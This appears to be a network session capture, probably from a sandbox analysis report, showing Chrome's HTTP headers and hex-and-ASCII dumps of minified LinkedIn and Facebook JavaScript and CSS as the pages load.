2024-04-11 20:35:29 UTC	16383	IN	Data Raw: 26 26 28 74 68 69 73 2e 63 6c 69 65 6e 74 4d 6f 6e 69 74 6f 72 69 6e 67 43 6f 6e 6e 3d 78 72 28 74 29 29 2c 74 68 69 73 2e 67 65 74 53 65 71 75 65 6e 63 65 4e 75 6d 62 65 72 46 72 6f 6d 49 44 42 28 29 2c 74 68 69 73 2e 75 70 64 61 74 65 53 65 71 75 65 6e 63 65 4e 75 6d 62 65 72 4f 6e 45 78 69 74 28 29 2c 74 68 69 73 2e 69 73 54 69 6d 65 72 52 75 6e 6e 69 6e 67 3d 21 31 2c 74 68 69 73 2e 69 73 45 76 65 6e 42 61 74 63 68 45 6e 61 62 6c 65 64 3d 74 68 69 73 2e 69 73 4c 69 78 45 6e 61 62 6c 65 64 28 22 70 65 6d 62 65 72 6c 79 2e 74 72 61 63 6b 69 6e 67 2e 65 76 65 6e 2d 62 61 74 63 68 22 29 7c 7c 6c 7d 72 65 74 75 72 6e 20 47 65 28 65 2c 5b 7b 6b 65 79 3a 22 63 68 65 63 6b 41 6e 64 45 6e 61 62 6c 65 50 65 72 73 69 73 74 65 6e 74 52 65 74 72 79 22 2c 76 61 6c Data Ascii: &&(this.clientMonitoringConn=xr(t)),this.getSequenceNumberFromIDB(),this.updateSequenceNumberOnExit(),this.isTimerRunning=!1,this.isEvenBatchEnabled=this.isLixEnabled("pemberly.tracking.even-batch")\|\|l}return Ge(e,[{key:"checkAndEnablePersistentRetry",val
2024-04-11 20:35:29 UTC	16383	IN	Data Raw: 6e 20 74 68 69 73 2e 74 72 61 6e 73 70 6f 72 74 65 72 2e 66 6f 72 63 65 46 6c 75 73 68 28 29 2c 74 68 69 73 2e 63 75 73 74 6f 6d 54 72 61 6e 73 70 6f 72 74 65 72 73 29 74 68 69 73 2e 63 75 73 74 6f 6d 54 72 61 6e 73 70 6f 72 74 65 72 73 5b 65 5d 2e 66 6f 72 63 65 46 6c 75 73 68 28 29 7d 7d 2c 7b 6b 65 79 3a 22 67 65 6e 65 72 61 74 65 43 6f 6e 74 72 6f 6c 55 72 6e 22 2c 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 47 6e 28 28 74 7c 7c 74 68 69 73 2e 63 75 72 72 65 6e 74 43 6f 6e 74 65 78 74 7c 7c 7b 70 61 67 65 4b 65 79 3a 22 75 6e 6b 6e 6f 77 6e 22 7d 29 2e 70 61 67 65 4b 65 79 2c 65 29 7d 7d 2c 7b 6b 65 79 3a 22 66 69 72 65 52 61 77 43 49 45 22 2c 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 2c 72 29 7b Data Ascii: n this.transporter.forceFlush(),this.customTransporters)this.customTransporters[e].forceFlush()}},{key:"generateControlUrn",value:function(e,t){return Gn((t\|\|this.currentContext\|\|{pageKey:"unknown"}).pageKey,e)}},{key:"fireRawCIE",value:function(e,t,n,r){

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
94	192.168.2.4	49908	152.199.24.163	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:35:29 UTC	554	OUT	GET /aero-v1/sc/h/5gubp03vhsghua5ctxt9v18a8 HTTP/1.1 Host: static.licdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.linkedin.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:35:29 UTC	1360	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Access-Control-Expose-Headers: X-CDN, X-CDN-Client-IP-Version, X-CDN-Proto, X-Cache, X-CDN-RCODE Age: 307073 Cache-Control: max-age=604800, immutable Content-Disposition: attachment Content-Type: text/javascript Date: Thu, 11 Apr 2024 20:35:29 GMT Expires: Thu, 18 Apr 2024 20:35:29 GMT Last-Modified: Wed, 06 Mar 2024 01:08:07 GMT NEL: {"report_to":"network-errors","max_age":1296000,"success_fraction":0.00066,"failure_fraction":1,"include_subdomains":true} Report-To: {"group":"network-errors","max_age":2592000,"endpoints":[{"url":"https://www.linkedin.com/li/rep"}],"include_subdomains":true} Server: ECAcc (nyd/D17B) Timing-Allow-Origin: * Vary: Accept-Encoding x-ambry-blob-size: 857086 x-ambry-request-cost: READ_CAPACITY_UNIT=1.0; STORAGE_IN_GB=0.0 x-ambry-target-account-name: aero x-ambry-target-container-name: assets x-ambry-user-quota-usage: READ_CAPACITY_UNIT=0.0011914747; STORAGE_IN_GB=0.0 x-ambry-user-quota-warning: HEALTHY X-Cache: HIT X-CDN: ECST X-CDN-CLIENT-IP-VERSION: IPV4 X-CDN-Proto: HTTP1 X-Content-Type-Options: nosniff X-EC-BBR-Enable: 1 X-FS-UUID: 000615909996e70711f781dafd7efcb8 X-Li-Fabric: prod-lva1 X-Li-Pop: prod-lva1-x X-LI-Proto: http/1.1 X-LI-UUID: AAYVkJmW5wcR94Ha/X78uA== Content-Length: 857086 Connection: close
2024-04-11 20:35:29 UTC	16383	IN	Data Raw: 2f 2a 21 20 46 6f 72 20 6c 69 63 65 6e 73 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 70 6c 65 61 73 65 20 73 65 65 20 61 75 74 68 57 61 6c 6c 49 6e 69 74 2e 6a 73 2e 4c 49 43 45 4e 53 45 2e 74 78 74 20 2a 2f 0a 28 28 29 3d 3e 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 65 3d 7b 7d 3b 66 75 6e 63 74 69 6f 6e 20 74 28 65 2c 74 29 7b 69 66 28 21 65 29 72 65 74 75 72 6e 20 6e 75 6c 6c 3b 6c 65 74 20 6e 3d 65 2e 6d 61 74 63 68 65 73 7c 7c 65 2e 77 65 62 6b 69 74 4d 61 74 63 68 65 73 53 65 6c 65 63 74 6f 72 7c 7c 65 2e 6d 6f 7a 4d 61 74 63 68 65 73 53 65 6c 65 63 74 6f 72 7c 7c 65 2e 6d 73 4d 61 74 63 68 65 73 53 65 6c 65 63 74 6f 72 3b 66 6f 72 28 3b 65 26 26 21 6e 2e 63 61 6c 6c 28 65 2c 74 29 3b 29 65 3d 65 2e 70 61 72 65 6e 74 45 6c 65 6d 65 6e 74 Data Ascii: /! For license information please see authWallInit.js.LICENSE.txt /(()=>{"use strict";var e={};function t(e,t){if(!e)return null;let n=e.matches\|\|e.webkitMatchesSelector\|\|e.mozMatchesSelector\|\|e.msMatchesSelector;for(;e&&!n.call(e,t);)e=e.parentElement
2024-04-11 20:35:29 UTC	1	IN	Data Raw: 3e Data Ascii: >
2024-04-11 20:35:29 UTC	16383	IN	Data Raw: 2d 31 3f 74 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 6c 69 6e 6b 65 64 69 6e 2d 65 69 2e 63 6f 6d 22 3a 65 2e 69 6e 64 65 78 4f 66 28 22 6c 69 6e 6b 65 64 69 6e 2e 63 6f 6d 22 29 3e 2d 31 26 26 28 74 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 6c 69 6e 6b 65 64 69 6e 2e 63 6f 6d 22 29 2c 74 7d 28 54 28 64 6f 63 75 6d 65 6e 74 29 29 3b 72 65 74 75 72 6e 20 4a 28 22 22 2e 63 6f 6e 63 61 74 28 6e 2c 22 2f 70 73 65 74 74 69 6e 67 73 2f 75 70 64 61 74 65 2d 6c 61 6e 67 75 61 67 65 2f 63 6f 72 73 3f 63 73 72 66 54 6f 6b 65 6e 3d 22 29 2e 63 6f 6e 63 61 74 28 65 6e 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 74 29 29 2c 7b 6d 65 74 68 6f 64 3a 22 50 4f 53 54 22 2c 68 65 61 64 65 72 73 3a 7b 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 3a 22 61 70 70 6c 69 63 Data Ascii: -1?t="https://www.linkedin-ei.com":e.indexOf("linkedin.com")>-1&&(t="https://www.linkedin.com"),t}(T(document));return J("".concat(n,"/psettings/update-language/cors?csrfToken=").concat(encodeURIComponent(t)),{method:"POST",headers:{"Content-Type":"applic
2024-04-11 20:35:29 UTC	16383	IN	Data Raw: 7d 7d 7d 65 6c 73 65 20 4f 3d 6c 74 2c 41 3d 73 74 2c 4c 3d 75 74 2c 52 3d 63 74 3b 66 6f 72 28 54 3d 30 3b 54 3c 73 3b 2b 2b 54 29 69 66 28 69 5b 54 5d 3e 32 35 35 29 7b 71 3d 69 5b 54 5d 3e 3e 3e 31 38 26 33 31 2c 70 74 28 74 2c 75 2c 4f 5b 71 2b 32 35 37 5d 29 2c 75 2b 3d 41 5b 71 2b 32 35 37 5d 2c 71 3e 37 26 26 28 68 74 28 74 2c 75 2c 69 5b 54 5d 3e 3e 3e 32 33 26 33 31 29 2c 75 2b 3d 58 65 5b 71 5d 29 3b 76 61 72 20 6a 3d 33 31 26 69 5b 54 5d 3b 70 74 28 74 2c 75 2c 4c 5b 6a 5d 29 2c 75 2b 3d 52 5b 6a 5d 2c 6a 3e 33 26 26 28 70 74 28 74 2c 75 2c 69 5b 54 5d 3e 3e 3e 35 26 38 31 39 31 29 2c 75 2b 3d 51 65 5b 6a 5d 29 7d 65 6c 73 65 20 70 74 28 74 2c 75 2c 4f 5b 69 5b 54 5d 5d 29 2c 75 2b 3d 41 5b 69 5b 54 5d 5d 3b 72 65 74 75 72 6e 20 70 74 28 74 2c Data Ascii: }}}else O=lt,A=st,L=ut,R=ct;for(T=0;T<s;++T)if(i[T]>255){q=i[T]>>>18&31,pt(t,u,O[q+257]),u+=A[q+257],q>7&&(ht(t,u,i[T]>>>23&31),u+=Xe[q]);var j=31&i[T];pt(t,u,L[j]),u+=R[j],j>3&&(pt(t,u,i[T]>>>5&8191),u+=Qe[j])}else pt(t,u,O[i[T]]),u+=A[i[T]];return pt(t,
2024-04-11 20:35:29 UTC	16383	IN	Data Raw: 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 70 6e 3e 68 6e 2e 6c 65 6e 67 74 68 2d 31 36 26 26 28 64 6e 2e 72 61 6e 64 6f 6d 46 69 6c 6c 53 79 6e 63 28 68 6e 29 2c 70 6e 3d 30 29 2c 68 6e 2e 73 6c 69 63 65 28 70 6e 2c 70 6e 2b 3d 31 36 29 7d 7d 7d 7d 22 6f 62 6a 65 63 74 22 3d 3d 3d 28 22 75 6e 64 65 66 69 6e 65 64 22 3d 3d 74 79 70 65 6f 66 20 63 72 79 70 74 6f 3f 22 75 6e 64 65 66 69 6e 65 64 22 3a 62 65 28 63 72 79 70 74 6f 29 29 26 26 63 72 79 70 74 6f 2e 72 61 6e 64 6f 6d 55 55 49 44 3b 66 75 6e 63 74 69 6f 6e 20 66 6e 28 29 7b 72 65 74 75 72 6e 20 47 65 28 75 6e 2c 6e 65 77 20 41 72 72 61 79 28 31 36 29 2c 30 29 7d 66 75 6e 63 74 69 6f 6e 20 6d 6e 28 65 29 7b 72 65 74 75 72 6e 20 67 65 28 65 29 2e 6d 61 70 28 28 66 75 6e 63 74 69 6f 6e Data Ascii: :function(){return pn>hn.length-16&&(dn.randomFillSync(hn),pn=0),hn.slice(pn,pn+=16)}}}}"object"===("undefined"==typeof crypto?"undefined":be(crypto))&&crypto.randomUUID;function fn(){return Ge(un,new Array(16),0)}function mn(e){return ge(e).map((function
2024-04-11 20:35:29 UTC	3	IN	Data Raw: 2e 61 70 Data Ascii: .ap
2024-04-11 20:35:29 UTC	16383	IN	Data Raw: 69 2e 6c 6f 63 61 74 69 6f 6e 2e 70 61 74 68 6e 61 6d 65 2b 74 68 69 73 2e 68 6f 73 74 2e 61 70 69 2e 6c 6f 63 61 74 69 6f 6e 2e 73 65 61 72 63 68 2c 72 65 66 65 72 65 72 3a 74 68 69 73 2e 68 6f 73 74 2e 61 70 69 2e 64 6f 63 75 6d 65 6e 74 2e 72 65 66 65 72 72 65 72 7d 2c 68 65 61 64 65 72 3a 7b 61 70 70 6c 69 63 61 74 69 6f 6e 56 69 65 77 65 72 55 72 6e 3a 74 68 69 73 2e 61 70 70 53 74 61 74 65 2e 61 70 70 6c 69 63 61 74 69 6f 6e 56 69 65 77 65 72 55 72 6e 2c 63 6c 69 65 6e 74 41 70 70 6c 69 63 61 74 69 6f 6e 49 6e 73 74 61 6e 63 65 3a 65 2c 70 61 67 65 49 6e 73 74 61 6e 63 65 3a 74 2c 74 69 6d 65 3a 44 61 74 65 2e 6e 6f 77 28 29 2c 76 65 72 73 69 6f 6e 3a 74 68 69 73 2e 68 6f 73 74 2e 61 70 70 56 65 72 73 69 6f 6e 2c 73 65 72 76 65 72 3a 22 22 2c 73 65 Data Ascii: i.location.pathname+this.host.api.location.search,referer:this.host.api.document.referrer},header:{applicationViewerUrn:this.appState.applicationViewerUrn,clientApplicationInstance:e,pageInstance:t,time:Date.now(),version:this.host.appVersion,server:"",se
2024-04-11 20:35:29 UTC	16383	IN	Data Raw: 74 69 28 74 29 2c 6e 75 6c 6c 3d 3d 6e 3f 76 6f 69 64 20 30 3a 6e 2e 70 61 67 65 49 6e 73 74 61 6e 63 65 54 72 61 63 6b 69 6e 67 49 64 29 3b 69 66 28 74 68 69 73 2e 73 65 74 43 75 72 72 65 6e 74 43 6f 6e 74 65 78 74 28 69 2e 74 6f 29 2c 21 6e 2e 73 75 70 70 72 65 73 73 45 76 65 6e 74 73 46 69 72 69 6e 67 29 72 65 74 75 72 6e 20 74 68 69 73 2e 66 69 72 65 4e 61 76 45 76 65 6e 74 73 28 69 29 7d 7d 2c 7b 6b 65 79 3a 22 73 65 74 43 75 72 72 65 6e 74 43 6f 6e 74 65 78 74 22 2c 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3b 74 68 69 73 2e 63 75 72 72 65 6e 74 43 6f 6e 74 65 78 74 3d 77 6e 28 65 2c 74 68 69 73 2e 68 6f 73 74 2e 61 70 69 29 2c 6e 75 6c 6c 3d 3d 3d 28 74 3d 74 68 69 73 2e 63 6c 69 65 6e 74 4d 6f 6e 69 74 6f 72 69 6e 67 43 Data Ascii: ti(t),null==n?void 0:n.pageInstanceTrackingId);if(this.setCurrentContext(i.to),!n.suppressEventsFiring)return this.fireNavEvents(i)}},{key:"setCurrentContext",value:function(e){var t;this.currentContext=wn(e,this.host.api),null===(t=this.clientMonitoringC
2024-04-11 20:35:29 UTC	2	IN	Data Raw: 45 44 Data Ascii: ED
2024-04-11 20:35:29 UTC	16383	IN	Data Raw: 49 52 45 43 54 5f 53 54 41 52 54 3d 22 52 45 44 49 52 45 43 54 5f 53 54 41 52 54 22 2c 65 2e 52 45 44 49 52 45 43 54 5f 45 4e 44 3d 22 52 45 44 49 52 45 43 54 5f 45 4e 44 22 2c 65 2e 46 45 54 43 48 5f 53 54 41 52 54 3d 22 46 45 54 43 48 5f 53 54 41 52 54 22 2c 65 2e 44 4f 4d 41 49 4e 5f 4c 4f 4f 4b 55 50 5f 53 54 41 52 54 3d 22 44 4f 4d 41 49 4e 5f 4c 4f 4f 4b 55 50 5f 53 54 41 52 54 22 2c 65 2e 44 4f 4d 41 49 4e 5f 4c 4f 4f 4b 55 50 5f 45 4e 44 3d 22 44 4f 4d 41 49 4e 5f 4c 4f 4f 4b 55 50 5f 45 4e 44 22 2c 65 2e 43 4f 4e 4e 45 43 54 5f 53 54 41 52 54 3d 22 43 4f 4e 4e 45 43 54 5f 53 54 41 52 54 22 2c 65 2e 43 4f 4e 4e 45 43 54 5f 45 4e 44 3d 22 43 4f 4e 4e 45 43 54 5f 45 4e 44 22 2c 65 2e 53 45 43 55 52 45 5f 43 4f 4e 4e 45 43 54 49 4f 4e 5f 53 54 41 52 Data Ascii: IRECT_START="REDIRECT_START",e.REDIRECT_END="REDIRECT_END",e.FETCH_START="FETCH_START",e.DOMAIN_LOOKUP_START="DOMAIN_LOOKUP_START",e.DOMAIN_LOOKUP_END="DOMAIN_LOOKUP_END",e.CONNECT_START="CONNECT_START",e.CONNECT_END="CONNECT_END",e.SECURE_CONNECTION_STAR

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
95	192.168.2.4	49905	157.240.241.35	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:35:29 UTC	933	OUT	POST /ajax/qm/?__a=1&__user=0&__comet_req=15&jazoest=2954 HTTP/1.1 Host: www.facebook.com Connection: keep-alive Content-Length: 131 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 viewport-width: 1280 Content-Type: application/x-www-form-urlencoded sec-ch-ua-platform-version: "10.0.0" dpr: 1 sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.132", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132" sec-ch-ua-model: "" sec-ch-prefers-color-scheme: light sec-ch-ua-platform: "Windows" Accept: / Origin: https://www.facebook.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://www.facebook.com/bfjfinancial/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:35:29 UTC	131	OUT	Data Raw: 65 76 65 6e 74 5f 69 64 3d 37 33 35 36 37 31 30 38 37 35 39 38 30 32 33 39 30 37 36 26 6d 61 72 6b 65 72 5f 70 61 67 65 5f 74 69 6d 65 3d 37 39 39 26 73 63 72 69 70 74 5f 70 61 74 68 3d 58 43 6f 6d 65 74 50 72 6f 66 69 6c 65 56 61 6e 69 74 79 43 6f 6e 74 72 6f 6c 6c 65 72 26 77 65 69 67 68 74 3d 30 26 63 6c 69 65 6e 74 5f 73 74 61 72 74 3d 31 26 6c 73 64 3d 41 56 71 4a 74 37 6d 42 6d 54 4d Data Ascii: event_id=7356710875980239076&marker_page_time=799&script_path=XCometProfileVanityController&weight=0&client_start=1&lsd=AVqJt7mBmTM
2024-04-11 20:35:29 UTC	1777	IN	HTTP/1.1 200 OK Content-Type: application/x-javascript; charset=utf-8 cross-origin-resource-policy: cross-origin Expires: Sat, 01 Jan 2000 00:00:00 GMT Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff Cache-Control: private, no-cache, no-store, must-revalidate reporting-endpoints: coop_report="https://www.facebook.com/browser_reporting/coop/?minimize=0", coep_report="https://www.facebook.com/browser_reporting/coep/?minimize=0", default="https://www.facebook.com/ajax/comet_error_reports/?device_level=unknown" report-to: {"max_age":2592000,"endpoints":[{"url":"https:\/\/www.facebook.com\/browser_reporting\/coop\/?minimize=0"}],"group":"coop_report","include_subdomains":true}, {"max_age":86400,"endpoints":[{"url":"https:\/\/www.facebook.com\/browser_reporting\/coep\/?minimize=0"}],"group":"coep_report"}, {"max_age":259200,"endpoints":[{"url":"https:\/\/www.facebook.com\/ajax\/comet_error_reports\/?device_level=unknown"}]} cross-origin-embedder-policy-report-only: require-corp;report-to="coep_report" cross-origin-opener-policy: same-origin-allow-popups;report-to="coop_report" origin-agent-cluster: ?0 Access-Control-Expose-Headers: X-FB-Debug, X-Loader-Length, X-Stack Access-Control-Allow-Methods: OPTIONS Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://www.facebook.com Vary: Origin Vary: Accept-Encoding Strict-Transport-Security: max-age=15552000; preload X-FB-Debug: YVZgLoJ/9BqzARdMhE7yi62OWvebkvcARmEDW6bzj/3D2Q4LoCtKD43iolNGotVS374AMemRjf17WJPhVhnnpQ== Date: Thu, 11 Apr 2024 20:35:29 GMT Transfer-Encoding: chunked X-FB-Connection-Quality: GOOD; q=0.7, rtt=88, rtx=0, c=10, mss=1277, tbw=3404, tp=-1, tpl=-1, uplat=178, ullat=123 Alt-Svc: h3=":443"; ma=86400 Connection: close
2024-04-11 20:35:29 UTC	4	IN	Data Raw: 66 33 0d 0a Data Ascii: f3
2024-04-11 20:35:29 UTC	250	IN	Data Raw: 66 6f 72 20 28 3b 3b 29 3b 7b 22 5f 5f 61 72 22 3a 31 2c 22 65 72 72 6f 72 22 3a 31 33 35 37 30 30 35 2c 22 65 72 72 6f 72 53 75 6d 6d 61 72 79 22 3a 22 59 6f 75 72 20 52 65 71 75 65 73 74 20 43 6f 75 6c 64 6e 27 74 20 62 65 20 50 72 6f 63 65 73 73 65 64 22 2c 22 65 72 72 6f 72 44 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 54 68 65 72 65 20 77 61 73 20 61 20 70 72 6f 62 6c 65 6d 20 77 69 74 68 20 74 68 69 73 20 72 65 71 75 65 73 74 2e 20 57 65 27 72 65 20 77 6f 72 6b 69 6e 67 20 6f 6e 20 67 65 74 74 69 6e 67 20 69 74 20 66 69 78 65 64 20 61 73 20 73 6f 6f 6e 20 61 73 20 77 65 20 63 61 6e 2e 22 2c 22 70 61 79 6c 6f 61 64 22 3a 6e 75 6c 6c 2c 22 6c 69 64 22 3a 22 37 33 35 36 37 31 30 38 37 38 36 39 33 32 33 36 32 36 36 22 7d 0d 0a 30 0d 0a 0d 0a Data Ascii: for (;;);{"__ar":1,"error":1357005,"errorSummary":"Your Request Couldn't be Processed","errorDescription":"There was a problem with this request. We're working on getting it fixed as soon as we can.","payload":null,"lid":"7356710878693236266"}0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
96	192.168.2.4	49911	157.240.241.1	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:35:29 UTC	622	OUT	GET /rsrc.php/v3/yI/l/0,cross/XJZbyoKj2zj.css?_nc_x=Ij3Wp8lg5Kz HTTP/1.1 Host: static.xx.fbcdn.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://www.facebook.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: style Referer: https://www.facebook.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:35:30 UTC	1661	IN	HTTP/1.1 200 OK Content-Type: text/css; charset=utf-8 Last-Modified: Mon, 01 Jan 2001 08:00:00 GMT content-md5: zBbPHUi1eWUWilfmSuTvKA== Expires: Fri, 11 Apr 2025 03:01:47 GMT Cache-Control: public,max-age=31536000,immutable reporting-endpoints: permissions_policy="https://www.xx.facebook.com/ajax/browser_error_reports/" timing-allow-origin: * document-policy: force-load-at-top permissions-policy: accelerometer=(), attribution-reporting=(), autoplay=(), bluetooth=(), camera=(), ch-device-memory=(), ch-downlink=(), ch-ect=(), ch-rtt=(), ch-save-data=(), ch-ua-arch=(), ch-ua-bitness=(), clipboard-read=(), clipboard-write=(), display-capture=(), encrypted-media=(), fullscreen=(self), gamepad=(), geolocation=(), gyroscope=(), hid=(), idle-detection=(), keyboard-map=(), local-fonts=(), magnetometer=(), microphone=(), midi=(), otp-credentials=(), payment=(), picture-in-picture=(), publickey-credentials-get=(), screen-wake-lock=(), serial=(), usb=(), window-management=(), xr-spatial-tracking=();report-to="permissions_policy" cross-origin-resource-policy: cross-origin X-Content-Type-Options: nosniff report-to: {"max_age":21600,"endpoints":[{"url":"https:\/\/www.xx.facebook.com\/ajax\/browser_error_reports\/"}],"group":"permissions_policy"} X-FB-Debug: pHxpnj6H40M2plz8jgS/9fyEQ9V8FJFQfsVHsGSUy5rln+xo+RQQtv9YHLdVzrb0cRc5jVJSVnDf8QAoVP2z/Q== Date: Thu, 11 Apr 2024 20:35:30 GMT Access-Control-Allow-Origin: https://www.facebook.com Vary: Origin X-FB-Connection-Quality: GOOD; q=0.7, rtt=82, rtx=0, c=14, mss=1277, tbw=3412, tp=-1, tpl=-1, uplat=3, ullat=-1 Alt-Svc: h3=":443"; ma=86400 Connection: close Content-Length: 605277
2024-04-11 20:35:30 UTC	1	IN	Data Raw: 66 Data Ascii: f
2024-04-11 20:35:30 UTC	15499	IN	Data Raw: 6f 72 6d 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 6c 61 62 65 6c 7b 63 6f 6c 6f 72 3a 23 36 30 36 37 37 30 3b 63 75 72 73 6f 72 3a 64 65 66 61 75 6c 74 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 36 30 30 3b 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 6d 69 64 64 6c 65 7d 6c 61 62 65 6c 20 69 6e 70 75 74 7b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 6e 6f 72 6d 61 6c 7d 74 65 78 74 61 72 65 61 2c 2e 69 6e 70 75 74 74 65 78 74 2c 2e 69 6e 70 75 74 70 61 73 73 77 6f 72 64 7b 2d 77 65 62 6b 69 74 2d 61 70 70 65 61 72 61 6e 63 65 3a 6e 6f 6e 65 3b 62 6f 72 64 65 72 3a 31 70 78 20 73 6f 6c 69 64 20 23 63 63 64 30 64 35 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 30 3b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 33 70 78 7d 74 65 78 74 61 72 65 Data Ascii: orm{margin:0;padding:0}label{color:#606770;cursor:default;font-weight:600;vertical-align:middle}label input{font-weight:normal}textarea,.inputtext,.inputpassword{-webkit-appearance:none;border:1px solid #ccd0d5;border-radius:0;margin:0;padding:3px}textare
2024-04-11 20:35:30 UTC	16384	IN	Data Raw: 70 78 7d 2e 78 31 37 39 32 72 79 33 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 76 61 72 28 2d 2d 74 6f 67 67 6c 65 2d 61 63 74 69 76 65 2d 62 61 63 6b 67 72 6f 75 6e 64 29 7d 2e 78 31 37 71 6f 70 68 65 7b 6c 65 66 74 3a 30 7d 2e 78 31 37 72 30 74 65 65 7b 62 6f 72 64 65 72 2d 6c 65 66 74 2d 73 74 79 6c 65 3a 6e 6f 6e 65 7d 2e 78 31 37 7a 69 66 39 6d 7b 62 6f 72 64 65 72 2d 74 6f 70 2d 6c 65 66 74 2d 72 61 64 69 75 73 3a 34 38 70 78 7d 2e 78 31 38 36 7a 31 35 37 7b 63 6f 6c 6f 72 3a 76 61 72 28 2d 2d 63 68 61 74 2d 61 64 6d 69 6e 2d 74 65 78 74 2d 63 6f 6c 6f 72 2c 69 6e 68 65 72 69 74 29 7d 2e 78 31 38 68 78 6d 67 6a 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 30 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 78 31 38 6a 74 78 63 37 7b 63 6f 6c 6f 72 3a 76 61 Data Ascii: px}.x1792ry3{background-color:var(--toggle-active-background)}.x17qophe{left:0}.x17r0tee{border-left-style:none}.x17zif9m{border-top-left-radius:48px}.x186z157{color:var(--chat-admin-text-color,inherit)}.x18hxmgj{margin-left:0!important}.x18jtxc7{color:va
2024-04-11 20:35:30 UTC	16384	IN	Data Raw: 76 61 72 28 2d 2d 70 72 69 6d 61 72 79 2d 62 75 74 74 6f 6e 2d 62 61 63 6b 67 72 6f 75 6e 64 29 7d 2e 78 74 79 78 68 6c 37 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 76 61 72 28 2d 2d 63 68 61 74 2d 74 65 78 74 2d 62 6c 6f 63 6b 71 75 6f 74 65 2d 63 6f 6c 6f 72 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 6c 69 6e 65 2c 76 61 72 28 2d 2d 70 6c 61 63 65 68 6f 6c 64 65 72 2d 74 65 78 74 29 29 7d 2e 78 75 33 6a 35 62 33 7b 62 6f 72 64 65 72 2d 72 69 67 68 74 2d 73 74 79 6c 65 3a 73 6f 6c 69 64 7d 2e 78 75 35 79 64 75 31 7b 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 2d 72 69 67 68 74 2d 72 61 64 69 75 73 3a 76 61 72 28 2d 2d 63 61 72 64 2d 63 6f 72 6e 65 72 2d 72 61 64 69 75 73 29 7d 2e 78 75 64 68 6a 39 31 7b 62 6f 72 64 65 72 2d 74 6f 70 2d 72 69 67 68 74 2d Data Ascii: var(--primary-button-background)}.xtyxhl7{background-color:var(--chat-text-blockquote-color-background-line,var(--placeholder-text))}.xu3j5b3{border-right-style:solid}.xu5ydu1{border-bottom-right-radius:var(--card-corner-radius)}.xudhj91{border-top-right-
